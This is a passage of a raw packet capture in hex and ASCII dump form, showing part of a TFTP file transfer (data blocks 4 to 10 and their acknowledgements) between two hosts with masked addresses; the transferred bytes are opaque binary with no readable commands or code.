0x0030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
01:49:07.975350 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 3
0x0000 4500 0020 01bf 0000 8011 b55d 800a 097f E..........]....
0x0010 51a8 a87f 040c 0045 000c 77cd 0004 0003 Q......E..w.....
0x0020 7012 4470 a170 0000 0204 05b4 0101 p.Dp.p........
01:49:07.975360 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 3
0x0000 4500 0020 01bf 0000 8011 b55d 800a 097f E..........]....
0x0010 51a8 a87f 040c 0045 000c 77cd 0004 0003 Q......E..w.....
0x0020 7012 4470 a170 0000 0204 05b4 0101 p.Dp.p........
01:49:08.876990 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 4
0x0000 4500 0220 944c 0000 7111 2fd0 51a8 a87f E....L..q./.Q...
0x0010 800a 097f 0045 040c 020c 97a1 0003 0004 .....E..........
0x0020 2832 b839 9122 2000 2aaf f9c4 9024 090e (2.9."..*....$..
0x0030 609c 6090 5111 8404 e280 a401 3828 0828 `.`.Q.......8(.(
0x0040 2454 14e3 20c8 10e1 7380 1482 4854 0521 $T......s...HT.!
0x0050 0281 1529 50a7 8505 1455 22a0 8a08 8882 ...)P....U".....
0x0060 851c 1414 a46d 2044 056c 4615 21c1 e270 .....m.D.lF.!..p
0x0070 a227 fcb7 33a3 33c0 f35a ce8c becb ecab .'..3.3..Z......
0x0080 ebbb eaca cbd6 b357 9ad6 74bd 9579 d38d .......W..t..y..
0x0090 674e 5676 5df5 e786 6782 6766 7866 7bff gNVv]...g.gfxf{.
0x00a0 bce6 b5f6 fed6 fc1f ed6b 7f6f f6ff 6f7f .........k.o..o.
0x00b0 2bae 5701 cc94 2000 77d5 ff58 7b57 f46a +.W.....w..X{W.j
0x00c0 0201 3fa4 0fa0 16cb 5268 9fc8 07ce 770e ..?.....Rh....w.
0x00d0 a401 c1a8 b624 0522 8420 3908 5ea0 6b10 .....$."..9.^.k.
0x00e0 6572 c75b 41c2 9458 1d05 1da4 5c01 c4c0 er.[A..X....\...
0x00f0 2a0b 7ad8 2930 ec54 90b3 af8f 45b8 6b93 *.z.)0.T....E.k.
0x0100 1883 de53 83dd 0e1e c1f0 8240 81cd 3503 ...S.......@..5.
0x0110 74a2 2195 d08b afb3 15c1 c03b 812a 0da0 t.!........;.*..
0x0120 20c2 570a 4df5 95a1 10de 82dc 6446 f21a ..W.M.......dF..
0x0130 db6e 87cb 0fb7 8e03 afa3 9722 10bd 1ee8 .n........."....
0x0140 13a2 9284 0164 9eed 850a 7ddd b289 7d10 .....d....}...}.
0x0150 7287 a04e 2999 16ec 6227 a154 e489 b3a1 r..N)...b'.T....
0x0160 626e 112f 1eed 5f9c 4f9e 74d2 17ac f5fa bn./.._.O.t.....
0x0170 b7a5 14eb 9a32 ba39 340a a85e 5422 37ac .....2.94..^T"7.
0x0180 9715 c28b a019 2935 95e0 d22d 4271 ce17 ......)5...-Bq..
0x0190 6f41 1e3b 802f 77bc 8086 aff0 7b14 ed4e oA.;./w.....{..N
0x01a0 344b 3633 c19a e14a 0762 ceb2 2d57 0a31 4K63...J.b..-W.1
0x01b0 8453 8220 f428 9e46 12b4 160c 38a6 71ad .S...(.F....8.q.
0x01c0 d429 aada 937e 67c8 e065 30d2 4534 8ceb .)...~g..e0.E4..
0x01d0 5c88 1dbe 17f1 470b 368e f539 35a5 e883 \.....G.6..95...
0x01e0 acab e2ac 32d5 ae85 09ea 3a00 9b52 833f ....2.....:..R.?
0x01f0 98d3 0445 8335 5208 831a a81d 51ac b8fc ...E.5R.....Q...
0x0200 4681 a835 ed5a 603b b898 96db 04bc c563 F..5.Z`;.......c
0x0210 40f8 b703 b00a f330 c670 799b b6fe 4976 @......0.py...Iv
01:49:08.878017 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 4
0x0000 4500 0020 01c0 0000 8011 b55c 800a 097f E..........\....
0x0010 51a8 a87f 040c 0045 000c 77cc 0004 0004 Q......E..w.....
0x0020 5018 43e7 06a2 0000 0000 0055 ff53 P.C........U.S
01:49:08.878028 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 4
0x0000 4500 0020 01c0 0000 8011 b55c 800a 097f E..........\....
0x0010 51a8 a87f 040c 0045 000c 77cc 0004 0004 Q......E..w.....
0x0020 5018 43e7 06a2 0000 0000 0055 ff53 P.C........U.S
01:49:09.783861 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 5
0x0000 4500 0220 944d 0000 7111 2fcf 51a8 a87f E....M..q./.Q...
0x0010 800a 097f 0045 040c 020c 3f36 0003 0005 .....E....?6....
0x0020 160d bd70 e9b8 de44 17d3 b21c cdd4 04f2 ...p...D........
0x0030 12c9 60b0 5d48 46cd 0c20 006c 16a2 1187 ..`.]HF....l....
0x0040 9a37 92f9 bbf2 2403 8f99 59e5 a15a eed7 .7....$...Y..Z..
0x0050 aee0 8820 b8fa b4c2 b105 81e7 ce92 715e ..............q^
0x0060 6cbb 4300 a209 a7a9 776c af4e 5b82 e373 l.C.....wl.N[..s
0x0070 8b6d 3334 9ead cccb 666c 770b 2fe2 b1b2 .m34....flw./...
0x0080 8288 7600 6c6c 76ed f4b0 5000 3fc9 62c5 ..v.llv...P.?.b.
0x0090 769d 8e6d 2eeb 7010 3ec9 f73f af82 265f v..m..p.>..?..&_
0x00a0 8826 60bb cbeb 12ab ff8e e58f 4838 7d7d .&`.........H8}}
0x00b0 8680 9585 8efd 04e4 4a58 f476 3280 c16d ........JX.v2..m
0x00c0 76c3 95d4 6135 ad6b 2e99 c684 09a6 7fce v...a5.k........
0x00d0 c9a0 8a57 d3dd 0390 2c41 92e1 f535 ae38 ...W....,A...5.8
0x00e0 ee1a 048c 6f47 5824 b88c 86b6 58d8 f406 ....oGX$....X...
0x00f0 69b6 8f8b 3b84 dc2d 1d17 4d16 76a6 c26a i...;..-..M.v..j
0x0100 adcc ab44 b722 0658 e971 65e2 b2ad 38f9 ...D.".X.qe...8.
0x0110 da08 701f 10eb d6b6 6b6b 6e4d fb0b fb1a ..p.....kknM....
0x0120 377a 8e02 89bc 6b18 146e 8106 cde6 00b5 7z....k..n......
0x0130 7886 721c 5a3d 871f 9d2a bfe0 79d7 002f x.r.Z=...*..y../
0x0140 b427 05c3 49e8 3a22 7464 9aa1 1652 c345 .'..I.:"td...R.E
0x0150 68e2 03d3 16e3 2d94 4f57 b2b3 a64f ecd7 h.....-.OW...O..
0x0160 94df 902f b01d ba5a 7dc4 9764 afdc 6baa .../...Z}..d..k.
0x0170 e9da 384c bea9 c5bf 45d3 08e2 4a36 72c6 ..8L....E...J6r.
0x0180 fe67 59e7 5b35 a996 4143 7173 b196 b54b .gY.[5..ACqs...K
0x0190 6cdc c2d4 e379 8a89 1ca6 36d4 ea4b af6d l....y....6..K.m
0x01a0 e36c 3bf3 283e d19b f0a3 f5cd cd1e 0379 .l;.(>.........y
0x01b0 acbb d625 4133 2a8c 0160 fd1e f129 e69d ...%A3*..`...)..
0x01c0 7598 686c 1d59 990c a743 4d1c 1b1f d4bd u.hl.Y...CM.....
0x01d0 cea1 b070 75c7 e429 b442 75b8 8d58 b9eb ...pu..).Bu..X..
0x01e0 d98e 6d6c 99b2 4cc1 b72a 069e 1b41 bfcc ..ml..L..*...A..
0x01f0 28ac 2a65 7346 36e5 8db9 afb0 c6e4 c126 (.*esF6........&
0x0200 1f7d f47a ecc4 9b4d a0ec 289d e5df 6475 .}.z...M..(...du
0x0210 ddee 36d1 9dab 6fc3 4ce4 4dc9 45f7 55b4 ..6...o.L.M.E.U.
01:49:09.784862 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 5
0x0000 4500 0020 01c1 0000 8011 b55b 800a 097f E..........[....
0x0010 51a8 a87f 040c 0045 000c 77cb 0004 0005 Q......E..w.....
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa ..............
01:49:09.784874 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 5
0x0000 4500 0020 01c1 0000 8011 b55b 800a 097f E..........[....
0x0010 51a8 a87f 040c 0045 000c 77cb 0004 0005 Q......E..w.....
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa ..............
01:49:10.694786 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 6
0x0000 4500 0220 944f 0000 7111 2fcd 51a8 a87f E....O..q./.Q...
0x0010 800a 097f 0045 040c 020c 16ed 0003 0006 .....E..........
0x0020 284b cb5a 7211 2ef9 f4fa 2c6f 4bf1 dc29 (K.Zr.....,oK..)
0x0030 c47e c9a3 c911 f3fd 52bf d634 2b03 d128 .~......R..4+..(
0x0040 443d 9e46 ba57 3a35 0f17 095d 07cd e110 D=.F.W:5...]....
0x0050 da4b 5ae9 d7f3 446c d991 c1ce 66b9 e0bd .KZ...Dl....f...
0x0060 f563 73c7 29d0 4129 25d4 275e c3b1 0fcc .cs.).A)%.'^....
0x0070 efe8 b94d ed3e 795c 59d0 8367 facd 6d89 ...M.>y\Y..g..m.
0x0080 0bb8 da6a efa6 13fd a86f ba28 6e39 bc97 ...j.....o.(n9..
0x0090 9a4b 2b1a b714 4a10 a367 9e40 fff3 e3f4 .K+...J..g.@....
0x00a0 56f4 a144 f7d7 5a10 787e b034 bc36 f728 V..D..Z.x~.4.6.(
0x00b0 0cf0 ecee 2e43 f768 a84a 5ba8 41ea c39c .....C.h.J[.A...
0x00c0 aa45 31a7 2f36 1b85 3552 c169 680f 44d8 .E1./6..5R.ih.D.
0x00d0 b855 5b7d cb9a 6117 ee6b 89ee 149f 580e .U[}..a..k....X.
0x00e0 2b2c ab88 9dee 756f 21ec 5c89 ecf3 1e3c +,....uo!.\....<
0x00f0 54c4 5698 f890 dc5a 09ad 7a4a fd0f 9267 T.V....Z..zJ...g
0x0100 4f32 37cd ac10 4930 a12d 5c13 3dd6 a7cd O27...I0.-\.=...
0x0110 3927 424b f8d9 bc6d e2f0 e25a 7654 8cc6 9'BK...m...ZvT..
0x0120 bee6 79b1 a319 79db b625 a135 25b0 13e1 ..y...y..%.5%...
0x0130 075c 4f66 3d51 7b25 389e 3da4 9d82 e0cc .\Of=Q{%8.=.....
0x0140 22fc 1d33 b5c6 78f6 2883 b48d 80b3 8443 "..3..x.(......C
0x0150 b1b3 ac60 a9a7 6fc5 0da8 dc74 a881 dd20 ...`..o....t....
0x0160 6b99 8d0e 7ca2 ceb6 25f1 0029 3058 fcab k...|...%..)0X..
0x0170 531d c416 cdff 95e3 633e 466f 7f83 eafb S.......c>Fo....
0x0180 c00d 4c3d f599 6578 62b9 9c96 fb85 8dcd ..L=..exb.......
0x0190 5ce6 84f0 bc68 9e84 82b7 1aa6 a229 6169 \....h.......)ai
0x01a0 2580 f98e 5971 4268 63d0 16a8 0035 568d %...YqBhc....5V.
0x01b0 faf9 1f9a 5b11 48e2 65f4 5d31 5416 7a39 ....[.H.e.]1T.z9
0x01c0 a8a1 dcb5 d4dd 3985 438b 40ce 2c4e 240c ......9.C.@.,N$.
0x01d0 e99a d1ae 166b 0554 eb0c c13d 64a7 dd9b .....k.T...=d...
0x01e0 5dd7 2105 9b83 b0d3 d9df d441 2e8b 9564 ].!........A...d
0x01f0 a2ad cc65 33bf 1606 626d 73d4 fddc 3be2 ...e3...bms...;.
0x0200 2c85 2c79 874b 2724 61eb c7c4 1fd7 2ba9 ,.,y.K'$a.....+.
0x0210 b3f8 6e1f b1fb 8e78 3eb2 2d96 db97 6756 ..n....x>.-...gV
01:49:10.695891 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 6
0x0000 4500 0020 01c2 0000 8011 b55a 800a 097f E..........Z....
0x0010 51a8 a87f 040c 0045 000c 77ca 0004 0006 Q......E..w.....
0x0020 5018 43e7 06a2 0000 0000 0055 ff53 P.C........U.S
01:49:10.695902 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 6
0x0000 4500 0020 01c2 0000 8011 b55a 800a 097f E..........Z....
0x0010 51a8 a87f 040c 0045 000c 77ca 0004 0006 Q......E..w.....
0x0020 5018 43e7 06a2 0000 0000 0055 ff53 P.C........U.S
01:49:11.596979 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 7
0x0000 4500 0220 9454 0000 7111 2fc8 51a8 a87f E....T..q./.Q...
0x0010 800a 097f 0045 040c 020c b858 0003 0007 .....E.....X....
0x0020 3ade a376 a84f 4ba6 b3bc d6b8 e066 7d90 :..v.OK......f}.
0x0030 6a52 956b 1c15 dec1 dfa2 cd24 8fd0 eee4 jR.k.......$....
0x0040 5d3b 0fc8 b22d 35cd ee4f 0d53 9475 79b6 ];...-5..O.S.uy.
0x0050 cea2 81be d7e2 6ee5 7f9e b158 a5f4 fccb ......n....X....
0x0060 1b1f 30a7 7468 3ef6 812e 497d 8871 4ea2 ..0.th>...I}.qN.
0x0070 7e0e 4f9a 586f abec e977 a615 bd15 c8f1 ~.O.Xo...w......
0x0080 cfbe 0c55 ee78 07b9 54a7 736f eac8 5d2f ...U.x..T.so..]/
0x0090 26a2 bed4 de45 b3d9 4a91 f5c4 86f8 597f &....E..J.....Y.
0x00a0 9533 e67c aa32 d866 a727 e363 1165 e74f .3.|.2.f.'.c.e.O
0x00b0 4c6e d4c4 2a21 2ec2 6a26 4ab3 5c20 8ec2 Ln..*!..j&J.\...
0x00c0 4d5a 5f85 ce85 bcfa 7512 78de 038f aeaa MZ_.....u.x.....
0x00d0 411d 5985 7988 f767 3adf b596 25f9 0f05 A.Y.y..g:...%...
0x00e0 e28d fa5a c9f7 5193 f25e e5d5 2954 8acc ...Z..Q..^..)T..
0x00f0 b50a a83a c4ae 3518 e1c7 cfbf 3d91 5f9b ...:..5.....=._.
0x0100 9be9 7f8a e174 ba9d 4bef 3d1b 0d8d f4ff .....t..K.=.....
0x0110 9d50 c12e e782 91f7 3ea1 8a9a 0712 3fa6 .P......>.....?.
0x0120 baca c193 d0bb 4d13 8f74 c9cb 1d98 5d8c ......M..t....].
0x0130 286d 577a 1fed b163 3433 b592 ca70 2dd7 (mWz...c43...p-.
0x0140 ebd9 623c 0d78 8757 edd8 58f6 ee6c fb4b ..b<.x.W..X..l.K
0x0150 5ba1 8f46 6dd7 22ef 5948 a256 c0bc e16f [..Fm.".YH.V...o
0x0160 2960 206a 0c27 c4ab 1f19 2220 819a 3aeb )`.j.'...."...:.
0x0170 b558 1efe 3f01 1c42 3bb7 8e6f 7d1e c9a8 .X..?..B;..o}...
0x0180 6d7b ba96 4624 e62a c09c 4c36 855d cf2b m{..F$.*..L6.].+
0x0190 c25d 9386 4a10 2857 e62b 0bb1 76a4 fe2b .]..J.(W.+..v..+
0x01a0 7c1d e5e1 b945 bd7e 99d2 1bb3 6b37 b88a |....E.~....k7..
0x01b0 9235 37c9 7e2e 3072 8c92 8f79 6964 3cb4 .57.~.0r...yid<.
0x01c0 0aca 84cf ba84 2902 d591 dad0 e7a8 029b ......).........
0x01d0 d7c1 f590 2e94 3254 8985 97be 7ba4 fb78 ......2T....{..x
0x01e0 39af 2834 5537 ea7f 2b97 9851 5ed7 70d0 9.(4U7..+..Q^.p.
0x01f0 5901 944e b0d9 b31b 6867 fd27 c949 66b8 Y..N....hg.'.If.
0x0200 67c4 166b 4eec 4ad4 2820 332b 4e32 4feb g..kN.J.(.3+N2O.
0x0210 7e1d 893c fd51 58b6 f150 ee18 2e96 aced ~..<.QX..P......
01:49:11.598003 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 7
0x0000 4500 0020 01c3 0000 8011 b559 800a 097f E..........Y....
0x0010 51a8 a87f 040c 0045 000c 77c9 0004 0007 Q......E..w.....
0x0020 5018 4321 af02 0000 0000 0143 ff53 P.C!.......C.S
01:49:11.598013 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 7
0x0000 4500 0020 01c3 0000 8011 b559 800a 097f E..........Y....
0x0010 51a8 a87f 040c 0045 000c 77c9 0004 0007 Q......E..w.....
0x0020 5018 4321 af02 0000 0000 0143 ff53 P.C!.......C.S
01:49:12.503247 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 8
0x0000 4500 0220 9455 0000 7111 2fc7 51a8 a87f E....U..q./.Q...
0x0010 800a 097f 0045 040c 020c f9dc 0003 0008 .....E..........
0x0020 0b99 ebbc bb58 3a44 afe4 0636 7793 2ae9 .....X:D...6w.*.
0x0030 1e4d f1e5 a0b6 0a36 c32b b283 202a 0d00 .M.....6.+...*..
0x0040 87b2 94ee ce08 f3ac 62ae 5f86 1c87 ebec ........b._.....
0x0050 6479 2fe6 bf46 e145 69ef dbf6 8261 0e09 dy/..F.Ei....a..
0x0060 da43 7d9d 7c43 05a3 30f8 e85e 38ab d73a .C}.|C..0..^8..:
0x0070 472b 9ed2 0f9f 4c3b 3f76 f300 b971 9421 G+....L;?v...q.!
0x0080 3a65 344f 6311 3e79 1262 735c 90e7 cd6e :e4Oc.>y.bs\...n
0x0090 dbf6 bb15 0138 d85d d1bc a4ef 84d5 b83b .....8.].......;
0x00a0 924d 492e a8e5 d7e1 dc43 2c37 5caf ee0f .MI......C,7\...
0x00b0 b15b 9d0f 76dc b76d b05d 1b58 1636 2ba4 .[..v..m.].X.6+.
0x00c0 bdc3 c24f e260 290a 306b 6c72 d66b e904 ...O.`).0klr.k..
0x00d0 55b9 2cb9 9aae b91a cdae 3530 01e9 a8eb U.,.......50....
0x00e0 1f39 a260 3652 b331 acd2 2ccf 61a6 3885 .9.`6R.1..,.a.8.
0x00f0 d772 77e6 9ef8 20ed 9159 acdd ee8a a12a .rw......Y.....*
0x0100 3b92 e5ad 1983 df21 c6be 9107 23c9 2a44 ;......!....#.*D
0x0110 1fb9 c543 6c3c fb96 cab9 e246 47c5 bff8 ...Cl<.....FG...
0x0120 6c93 c452 550a 9bb8 7a4e f51c d0b9 94d6 l..RU...zN......
0x0130 939c 779d 98aa 23d1 1cc3 ea3e 1bd7 dab8 ..w...#....>....
0x0140 61b1 5255 5724 a365 91d1 86f2 615c f89a a.RUW$.e....a\..
0x0150 71a0 bca1 5df8 b94d af82 5831 dcfe c472 q...]..M..X1...r
0x0160 1dbb f269 5471 19f8 dace 3a93 afd0 c928 ...iTq....:....(
0x0170 dfa8 e421 dde7 d3a5 0c58 6da2 09ab 9549 ...!.....Xm....I
0x0180 af37 aca6 a96f 8033 b28c 8156 0486 6281 .7...o.3...V..b.
0x0190 54ec 7987 29dc b52a c378 4657 aeb5 d147 T.y.)..*.xFW...G
0x01a0 0cf5 86a6 0ec1 5183 85be 5647 543d 7ff2 ......Q...VGT=..
0x01b0 ba2c 4ab3 ac63 2272 2fec 7a6c 6ac0 ff0d .,J..c"r/.zlj...
0x01c0 babd 18bd 5ba3 a668 e97d 7f49 8e58 59f9 ....[..h.}.I.XY.
0x01d0 9695 dd87 787c 2552 e82c f75b 5f78 e897 ....x|%R.,.[_x..
0x01e0 e8af 43ad 8bbc be09 f761 3be8 e8bf 63e1 ..C......a;...c.
0x01f0 f163 2ffe c92a 7ccf df7d 59e3 fe36 1a25 .c/..*|..}Y..6.%
0x0200 006d 83b6 8f0c da28 60ed 9ff6 2d0f a03d .m.....(`...-..=
0x0210 a127 47cd 584e 7ddb 4e75 9a3b 4fe3 d467 .'G.XN}.Nu.;O..g
01:49:12.504269 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 8
0x0000 4500 0020 01c4 0000 8011 b558 800a 097f E..........X....
0x0010 51a8 a87f 040c 0045 000c 77c8 0004 0008 Q......E..w.....
0x0020 5018 41b5 d987 0000 0000 0023 ff53 P.A........#.S
01:49:12.504280 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 8
0x0000 4500 0020 01c4 0000 8011 b558 800a 097f E..........X....
0x0010 51a8 a87f 040c 0045 000c 77c8 0004 0008 Q......E..w.....
0x0020 5018 41b5 d987 0000 0000 0023 ff53 P.A........#.S
01:49:13.409678 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 9
0x0000 4500 0220 9457 0000 7111 2fc5 51a8 a87f E....W..q./.Q...
0x0010 800a 097f 0045 040c 020c d079 0003 0009 .....E.....y....
0x0020 c754 1353 7524 f5bf 340a 4b0d 5303 e260 .T.Su$..4.K.S..`
0x0030 8f8c 83ce 7da9 985f 06f5 c4ad 056b 3711 ....}.._.....k7.
0x0040 8bef 61df 4ae2 b1cf 4dfc e5a5 79c6 1bd2 ..a.J...M...y...
0x0050 8a7b 10af f111 1687 bb7f 36e4 f003 b581 .{........6.....
0x0060 e703 90d7 ffe9 fcc1 455b 87aa b716 0f8e ........E[......
0x0070 95a8 90bf e63d b9cb f9b1 d49e c7da faff .....=..........
0x0080 05ed 84dc 7efb 0f12 67db 2670 ffb6 6e77 ....~...g.&p..nw
0x0090 db3f 45c4 f6f1 a9b9 7eda 8aaf 6d5d 6749 .?E.....~...m]gI
0x00a0 e83b 82ff 500a a011 13d0 5be8 a8fa 0913 .;..P.....[.....
0x00b0 01d5 b099 f07f b4f1 6918 b305 8c11 2d2c ........i.....-,
0x00c0 5878 1b43 a3ca c51c df18 1e66 287c 69d8 Xx.C.......f(|i.
0x00d0 c8f3 a7b4 2492 1938 ac58 595f 713e 982a ....$..8.XY_q>.*
0x00e0 6a48 bc89 88c8 a65c 2b4a f900 20b5 a696 jH.....\+J......
0x00f0 da4e 1890 93d4 f4cf 4ba6 d3ef 5a22 e288 .N......K...Z"..
0x0100 803d e0c1 a371 522b dbfb 090b 26e8 c2eb .=...qR+....&...
0x0110 321b 0938 c366 1be0 2cb3 a952 0b30 6c69 2..8.f..,..R.0li
0x0120 1312 6664 a416 4000 4725 c603 3801 6187 ..fd..@.G%..8.a.
0x0130 52be 9ebe 5cfd 409e 64e6 7383 04e5 84e6 R...\.@.d.s.....
0x0140 daa9 3d9b 5b04 10fb b9d9 e4cc 376a fca4 ..=.[.......7j..
0x0150 a280 d58e 7d89 7e7c dff7 4d15 0128 6f28 ....}.~|..M..(o(
0x0160 6760 fee0 d7e0 5d52 7e01 b486 e3d9 78f4 g`....]R~.....x.
0x0170 5765 5927 87cf 38d5 49de 39ca a54f 13bc WeY'..8.I.9..O..
0x0180 5560 9316 f931 f91a f413 d7e3 8fd2 79fc U`...1........y.
0x0190 ed30 1dc5 7a98 e007 f424 4d7a 8640 4e9e .0..z....$Mz.@N.
0x01a0 764e efb6 78d6 aae6 73ba a26a bd42 c0dc vN..x...s..j.B..
0x01b0 fa6f 78ee 0199 1ea0 4a07 f96c 2b32 bb4a .ox.....J..l+2.J
0x01c0 ce41 ae49 2cb4 2ecc 5761 ca04 1ddb bc02 .A.I,...Wa......
0x01d0 e807 95d4 6347 de8f b40a 26dd a2f5 83a2 ....cG....&.....
0x01e0 d79a 015d 55e8 b64b 137c d1ac abf4 6cbf ...]U..K.|....l.
0x01f0 354d 1fec 6a39 df4d fb76 1ae9 b890 db8a 5M..j9.M.v......
0x0200 2263 11cb c00f 9649 7f81 0416 68e6 2c0d "c.....I....h.,.
0x0210 7ce8 f040 01e2 666e da21 f434 680a 4a61 |..@..fn.!.4h.Ja
01:49:13.411113 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 9
0x0000 4500 0020 01c5 0000 8011 b557 800a 097f E..........W....
0x0010 51a8 a87f 040c 0045 000c 77c7 0004 0009 Q......E..w.....
0x0020 5018 41b5 d987 0000 0000 0023 ff53 P.A........#.S
01:49:13.411125 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 9
0x0000 4500 0020 01c5 0000 8011 b557 800a 097f E..........W....
0x0010 51a8 a87f 040c 0045 000c 77c7 0004 0009 Q......E..w.....
0x0020 5018 41b5 d987 0000 0000 0023 ff53 P.A........#.S
01:49:14.315674 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 10
0x0000 4500 0220 9458 0000 7111 2fc4 51a8 a87f E....X..q./.Q...
0x0010 800a 097f 0045 040c 020c 6a2e 0003 000a .....E....j.....
0x0020 7110 2a99 1dab 132c be32 bb2b 48f3 6b04 q.*....,.2.+H.k.
0x0030 9a3e 370f 8d03 de57 fa35 fd72 9d12 8da0 .>7....W.5.r....
0x0040 362c d7cd ec8f f980 5e53 cbd7 72de 7ce0 6,......^S..r.|.
0x0050 86ce 5e1e f26a d5d2 b010 7b09 26be a5d0 ..^..j....{.&...
0x0060 c7d5 b236 7c7e 3f9e 7a0a 4b7d 3817 f438 ...6|~?.z.K}8..8
0x0070 764f d079 8944 48b3 3860 f0dd 51e1 2a8f vO.y.DH.8`..Q.*.
0x0080 6b18 2c30 9ade dc58 67bc 8761 c785 d2ea k.,0...Xg..a....
0x0090 a6c8 be17 5602 9cba aa3e 8dca 2172 b102 ....V....>..!r..
0x00a0 61f3 9c4e 5084 7900 8086 cd66 b406 e01b a..NP.y....f....
0x00b0 c070 1713 68aa da10 d950 2480 8ce1 af52 .p..h....P$....R
0x00c0 7473 b680 3c09 f7ac 44de fc1d 4de7 8bd8 ts..<...D...M...
0x00d0 7835 1019 7a56 40a6 5fde 365d cd64 21b1 x5..zV@._.6].d!.
0x00e0 9a70 3f68 dbc4 9aca 502f c9e8 4c20 1c5d .p?h....P/..L..]
0x00f0 2c34 be41 41a0 d499 0e14 3bc5 d359 519e ,4.AA.....;..YQ.
0x0100 43ba d377 2b71 263c 7d7d 1480 c96a 14f4 C..w+q&<}}...j..
0x0110 1ce3 ebf0 3950 139f 9b0a e3f0 fb15 c576 ....9P.........v
0x0120 eb3d 3895 1940 9e51 5d40 c398 96e9 dea7 .=8..@.Q]@......
0x0130 1535 ef66 75c0 e516 b71e 6461 098e 703c .5.fu.....da..p<
0x0140 2c59 fd3b fbfc 5de6 14f7 36f7 c937 81a1 ,Y.;..]...6..7..
0x0150 f04c 7c1a 5bd4 f378 5c81 bf3a 6f90 eac6 .L|.[..x\..:o...
0x0160 1471 fa7f 4333 3034 9f16 64b6 16fb 95ae .q..C304..d.....
0x0170 e7c2 e16c cf3d e96b 6970 30d4 b370 b75f ...l.=.kip0..p._
0x0180 1fe7 c97b b8cb cad2 bac2 69e1 848f 0907 ...{......i.....
0x0190 f2d9 46a8 9aae 3d90 d36e a3fe ff6f b2e2 ..F...=..n...o..
0x01a0 fbf7 c0c5 c7f8 29ec 5ff0 12ee a90f f3e4 ......)._.......
0x01b0 591f ff39 0faa fc99 5e96 027f 71e2 f5ea Y..9....^...q...
0x01c0 12c6 5cea 74cc 9058 0513 f96d 3759 d929 ..\.t..X...m7Y.)
0x01d0 1858 b1e8 6b65 bbed bd5f c415 ab3d ec09 .X..ke..._...=..
0x01e0 bb0d 33a9 768b 78f5 5f54 7425 23ad e946 ..3.v.x._Tt%#..F
0x01f0 b177 e977 df7f 916b 064a 2d7f ef34 f6b7 .w.w...k.J-..4..
0x0200 d951 9f57 d9d7 3d76 1723 4f69 2111 950d .Q.W..=v.#Oi!...
0x0210 7b1f 5bc6 172a 58df 0e23 89f6 15cc 6554 {.[..*X..#....eT
01:49:14.316696 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 10
0x0000 4500 0020 01c6 0000 8011 b556 800a 097f E..........V....
0x0010 51a8 a87f 040c 0045 000c 77c6 0004 000a Q......E..w.....
0x0020 5014 0000 6ec5 0000 0000 0023 ff53 P...n......#.S
01:49:14.316707 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 10
0x0000 4500 0020 01c6 0000 8011 b556 800a 097f E..........V....
